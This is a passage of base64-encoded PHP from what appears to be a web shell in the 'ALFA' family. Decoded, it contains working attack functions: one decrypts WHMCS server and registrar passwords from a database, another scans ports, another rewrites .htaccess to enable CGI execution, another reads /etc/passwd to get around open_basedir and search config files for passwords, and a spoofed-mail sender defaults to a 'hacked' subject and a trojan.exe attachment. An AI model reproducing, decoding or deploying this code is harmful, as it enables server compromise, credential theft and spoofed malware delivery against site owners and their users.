ybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7DQokaXYgPSAkb3V0ID0gJyc7DQokYyA9IDA7DQp3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpDQp7DQokaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOw0KKyskYzsNCn0NCiRrZXkgPSAkaXY7DQokYyA9IDA7DQp3aGlsZSAoJGMgPCBzdHJsZW4gKCRzdHJpbmcpKQ0Kew0KaWYgKCgkYyAhPSAwIEFORCAkYyAlICRoYXNoX2xlbmd0aCA9PSAwKSkNCnsNCiRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KfQ0KJG91dCAuPSBjaHIgKG9yZCAoJGtleVskYyAlICRoYXNoX2xlbmd0aF0pIF4gb3JkICgkc3RyaW5nWyRjXSkpOw0KKyskYzsNCn0NCnJldHVybiAkb3V0Ow0KfQ0KZnVuY3Rpb24gX2hhc2goJHN0cmluZykNCnsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hhMScpKQ0Kew0KJGhhc2ggPSBzaGExICgkc3RyaW5nKTsNCn0NCmVsc2UNCnsNCiRoYXNoID0gbWQ1ICgkc3RyaW5nKTsNCn0NCiRvdXQgPSAnJzsNCiRjID0gMDsNCndoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQ0Kew0KJG91dCAuPSBjaHIgKGhleGRlYyAoJGhhc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOw0KJGMgKz0gMjsNCn0NCnJldHVybiAkb3V0Ow0KfQ0KQWxmYU51bSg4LDksMTApOw0KZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgRGVDb2RlciB8PC9kaXY+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdXaG1jcycsbnVsbCx0aGlzLmZvcm1fYWN0aW9uLnZhbHVlLCdkZWNvZGVyJyx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuY2NfZW5jcnlwdGlvbl9oYXNoLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2Zvcm1fYWN0aW9uJyB2YWx1ZT0nMic+IjsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoIDogJywgJ2lucHV0TmFtZScgPT4gJ2NjX2VuY3J5cHRpb25faGFzaCcsICdpZCcgPT4gJ2NjX2VuY3J5cHRpb25faGFzaCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsNCmlmKCRfUE9TVFsnYWxmYTUnXSE9Jycpew0KJGRiX2hvc3Q9KCRfUE9TVFsnYWxmYTcnXSk7DQokZGJfdXNlcm5hbWU9KCRfUE9TVFsnYWxmYTMnXSk7DQokZGJfcGFzc3dvcmQ9KCRfUE9TVFsnYWxmYTQnXSk7DQokZGJfbmFtZT0oJF9QT1NUWydhbGZhNSddKTsNCiRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnYWxmYTYnXSk7DQplY2hvIF9fcHJlKCk7DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCwkZGJfbmFtZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHF1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCiRudW0gPSBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5KTsNCmlmICgkbnVtID4gMCl7DQpmb3IoJGk9MDsgJGkgPD0kbnVtLTE7ICRpKyspew0KJHYgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeSk7DQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5UeXBlPC9mb250PjwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+QWN0aXZlPC9mb250PjwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+PC9iPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Ib3N0bmFtZTwvZm9udD48L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+PC9iPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5JcDwvZm9udD48L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcm5hbWU8L2ZvbnQ+PC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KfQ0KJHF1ZXJ5MSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOw0KJG51bTEgPSBAbXlzcWxpX251bV9yb3dzKCRxdWVyeTEpOw0KaWYgKCRudW0xID4gMCl7DQpmb3IoJGk9MDsgJGkgPD0kbnVtMSAtMTsgJGkrKyl7DQokdiA9IG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkxKTsNCiRyZWdpc3RyYXIgPSAkdlsncmVnaXN0cmFyJ107DQokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107DQokdmFsdWUgPSBkZWNyeXB0KCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKXsNCiR2YWx1ZT0wOw0KfQ0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjxjZW50ZXI+Iik7DQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiM2N0FCREZcIj5SZWdpc3RlcjwvZm9udD48L3RkPjx0ZD4kcmVnaXN0cmFyPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+U2V0dGluZzwvZm9udD48L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlZhbHVlPC9mb250PjwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj48L2I+Iik7DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCn0NCn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPnRibHNlcnZlcnMgaXMgRW1wdHkuLi4hPC9mb250PicpO307DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXBvcnRzY2FubmVyKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQb3J0IFNjYW5lciB8PC9kaXY+PC9wPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9InBocHRvb2xzIj4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPkhvc3Q6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgc3RhcnQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiICBuYW1lPSJzdGFydCIgdmFsdWU9IjgwIi8+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Qb3J0IGVuZDogPC9kaXY+IDxpbnB1dCBpZD0idGV4dCIgc2l6ZT0iNSIgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iODAiLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTInXSk7DQokZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmEzJ10pOw0KJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTQnXSk7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydhbGZhMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTInXSkpew0KZWNobyBfX3ByZSgpOw0KJHBhY2tldENvbnRlbnQgPSAiR0VUIC8gSFRUUC8xLjFcclxuXHJcbiI7DQppZihjdHlwZV94ZGlnaXQoJHBhY2tldENvbnRlbnQpKSRwYWNrZXRDb250ZW50ID0gQHBhY2soIkgqIiAsICRwYWNrZXRDb250ZW50KTsNCmVsc2V7DQokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGVudCk7DQokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcXHIiLCJcXG4iKSwgYXJyYXkoIlxyIiwgIlxuIiksICRwYWNrZXRDb250ZW50KTsNCn0NCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KJHNvY2sgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsNCmlmKCRzb2NrKXsNCnN0cmVhbV9zZXRfdGltZW91dCgkc29jaywgNSk7DQpmd3JpdGUoJHNvY2ssICRwYWNrZXRDb250ZW50LiJcclxuXHJcblx4MDAiKTsNCiRjb3VudGVyID0gMDsNCiRtYXh0cnkgPSAxOw0KJGJpbiA9ICIiOw0KZG97DQokbGluZSA9IGZnZXRzKCRzb2NrLCAxMDI0KTsNCmlmKHRyaW0oJGxpbmUpPT0iIikkY291bnRlcisrOw0KJGJpbiAuPSAkbGluZTsNCn13aGlsZSgkY291bnRlcjwkbWF4dHJ5KTsNCmZjbG9zZSgkc29jayk7DQplY2hvICI8Y2VudGVyPjxwPlBvcnQgPGZvbnQgc3R5bGU9J2NvbG9yOiNERTNFM0UnPiRpPC9mb250PiBpcyBvcGVuPC9wPiI7DQplY2hvICI8cD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDt3aWR0aDo1MCU7Jz4iLiRiaW4uIjwvdGV4dGFyZWE+PC9wPjwvY2VudGVyPiI7DQp9DQpmbHVzaCgpOw0KfQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjZ2lodGFjY2VzcygkbSwkZD0nJywgJHN5bW5hbWU9ZmFsc2Upew0KJHJlYWRtZSA9ICIiOw0KaWYoJHN5bW5hbWUpeyRyZWFkbWU9IlxuUmVhZG1lTmFtZSAiLnRyaW0oJHN5bW5hbWUpO30NCmlmKCRtPT0nY2dpJyl7DQokY29kZSA9ICIjQ29kZWQgQnkgVUNFTiBIQVhPUiBGdCBUSUFSQVxuT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSVxuQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuYWxmYVxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5hbGZhIjsNCn1lbHNlaWYoJG09PSdzeW0nKXsNCiRjb2RlID0gIiNDb2RlZCBCeSBVQ0VOIEhBWE9SIEZ0IFRJQVJBXG5PcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHNvbGV2aXNpYmxlLnBodG1cbkFkZFR5cGUgdGV4dC9wbGFpbiBwaHAgaHRtbCBwaHA0IHBodG1sXG5BZGRIYW5kbGVyIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbHskcmVhZG1lfVxuT3B0aW9ucyBhbGwiOw0KfWVsc2VpZigkbT09J3NodG1sJyl7DQokY29kZSA9ICJPcHRpb25zICtJbmNsdWRlc1xuQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnNodG1sIjsNCn0NCkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOw0KfQ0KZnVuY3Rpb24gYWxmYWJhc2VkaXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4NCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgT3BlbiBCYXNlIERpciB8PC9kaXY+PC9wPjwvY2VudGVyPic7DQokcGFzc3dkID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCmlmKGlzX2FycmF5KCRwYXNzd2QpKXsNCiR1c2VycyA9IGFycmF5KCk7DQokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7DQokYmFzZWRpciA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7DQokYmFzaCA9ICJmWkJQU3dNeEVNWFB6YWNZeDlqdWdrdlk5bGJwVFE5ZUZVOU5XZFlrMndZa1daS3NnbXUrdTlOYVM4RS9jd2dETC9OK00rL3lRanhiSitLTzNkNC9ySGpOdXNHcFpMMkRtRUlUVFAvU0tsT1VJd09xTlZUdmdMeEcyTUIwQ3NHa0lUaW96N1g1UDlyaU42MGh6aEhUdkxZbjVJb1hmYkF1ZFlCWFVVcUhYOXdQaUVaRFpRQ2o0T004MDdQSVlvdmx3ZXZIeFBpSGUwYVdtVkU3ZjdCYVM0V3M4d0VzV0FlOFVFT0NTaStoNm1vUUppblJ0ekcrNmZJR3RHZVRwOGM3Q3FvNGk0ZEFGQjd4eGlHYWtQZGdTeHRONk94QS9YN2dlUGszVXRJUGlkZE1lMmRPZTh3UU43TlAiOw0KJHRtcF9wYXRoID0gYWxmYVdyaXRlVG9jZ2lhcGkoImJhc2VkaXIuYWxmYSIsJGJhc2gpOw0KJGJhc2hfdXNlcnMgID0gYWxmYUV4KCJjZCAiLiR0bXBfcGF0aC4iL3VjZW5jZ2lhcGk7c2ggYmFzZWRpci5hbGZhICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsNCiR1c2VycyA9IGpzb25fZGVjb2RlKCRiYXNoX3VzZXJzLCB0cnVlKTsNCiR4PWNvdW50KCR1c2Vycyk7DQppZigkeD49Mil7YXJyYXlfcG9wKCR1c2Vycyk7LS0keDt9DQp9DQppZighJGJhc2VkaXImJiEkc2FmZV9tb2RlKXsNCiR4PTA7DQpmb3JlYWNoKCRwYXNzd2QgYXMgJHN0cil7DQokcG9zID0gc3RycG9zKCRzdHIsJzonKTsNCiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQokZGlyeiA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlcm5hbWUsICRtYWtlcHdkKTsNCmlmKCgkdXNlcm5hbWUgIT0gJycpKXsNCmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsNCmFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQokeCsrOw0KfX19DQp9DQplY2hvICc8YnI+PGJyPic7DQplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOw0KZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIEZvdW5kZWQgIi4keC4iIHJlYWRhYmxlICIuc3RyX3JlcGxhY2UoInt1c2VyfSIsICIqIiwgJG1ha2Vwd2QpLiIgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjwvZm9udD48L2I+IjsNCmVjaG8gIjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcgZmlsZXMuLi5cblxuIi4iPGJyIC8+PGJyIC8+PGJyIC8+PC9mb250PjwvYj4iOw0KZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpew0KaWYoZW1wdHkoJHVzZXIpKWNvbnRpbnVlOw0KJHBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsNCmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9ICNkOTE0OWE+Q2hhbmdlIERpciA8Zm9udCBjb2xvcj0jRkZGRjAxPi4uOjogPC9mb250Pjxmb250IGNvbG9yPXJlZD48Yj4kdXNlcjwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9I0ZGRkYwMT4gOjouLjwvZm9udD48L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJHBhdGgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnI+IjsNCn0NCn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9DQplY2hvICc8YnI+PGJyPjwvYj4nOw0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFtYWlsKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCkFsZmFOdW0oOCw5LDEwKTsNCmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsNCiR0YWJsZSA9IGFycmF5KA0KJ3RkMScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ01haWwgVG8gOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF90bycsICdpbnB1dFZhbHVlJyA9PiAndGFyZ2V0QGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNjAnLCdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksDQondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwNCid0ZDMnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdTdWJqZWN0IDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfc3ViamVjdCcsICdpbnB1dFZhbHVlJyA9PiAneW91ciBzaXRlIGhhY2tlZCBieSBtZScsICdpbnB1dFNpemUnID0+ICc2MCcpLA0KJ3RkNCcgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0F0dGFjaCBGaWxlIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfYXR0YWNoJywgJ2lucHV0VmFsdWUnID0+ICRHTE9CQUxTWydjd2QnXS4ndHJvamFuLmV4ZScsICdpbnB1dFNpemUnID0+ICc2MCcpLA0KJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pJiYoJF9QT1NUWydhbGZhNCddID09ICc+PicpKXsNCiRtYWlsX3RvID0gJF9QT1NUWydhbGZhMSddOw0KJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsNCiRtYWlsX3N1YmplY3QgPSAkX1BPU1RbJ2FsZmEzJ107DQokbWFpbF9jb250ZW50ID0gJF9QT1NUWydhbGZhNSddOw0KJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsNCiRtYWlsX2F0dGFjaCA9ICRfUE9TVFsnYWxmYTcnXTsNCmlmKGZpbHRlcl92YXIoJG1haWxfdG8sIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpew0KaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpew0KJGZpbGUgPSAkbWFpbF9hdHRhY2g7DQokY29udGVudCA9IF9fcmVhZF9maWxlKCRmaWxlKTsNCiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7DQokdWlkID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsNCiRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsNCiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7DQokaGVhZGVycyAuPSAiVG86ICIgLiAkbWFpbF90by4gIiAoICIuJG1haWxfdG8uIiApIFxyXG4iOw0KJGhlYWRlcnMgLj0gIlJlcGx5LVRvOiAiLiRtYWlsX2Zyb20uIlxyXG4iOw0KJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7DQokaGVhZGVycyAuPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KJGhlYWRlcnMgLj0gJ1gtTWFpbGVyOiBwaHAnIC4gIlxyXG4iOw0KJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC10eXBlOnRleHQvcGxhaW47IGNoYXJzZXQ9aXNvLTg4NTktMVxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogN2JpdFxyXG5cclxuIjsNCiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiLS0iLiR1aWQuIlxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07IG5hbWU9XCIiLiRmaWxlbmFtZS4iXCJcclxuIjsNCiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCJcclxuXHJcbiI7DQokbWFpbF9jb250ZW50IC49ICRjb250ZW50LiJcclxuXHJcbiI7DQokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOw0KfWVsc2V7DQokaGVhZGVycyAgPSAiRnJvbTogIiAuICRtYWlsX2Zyb20uICIgKCAiLiRtYWlsX2Zyb20uIiApIFxyXG4iOw0KJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsNCiRoZW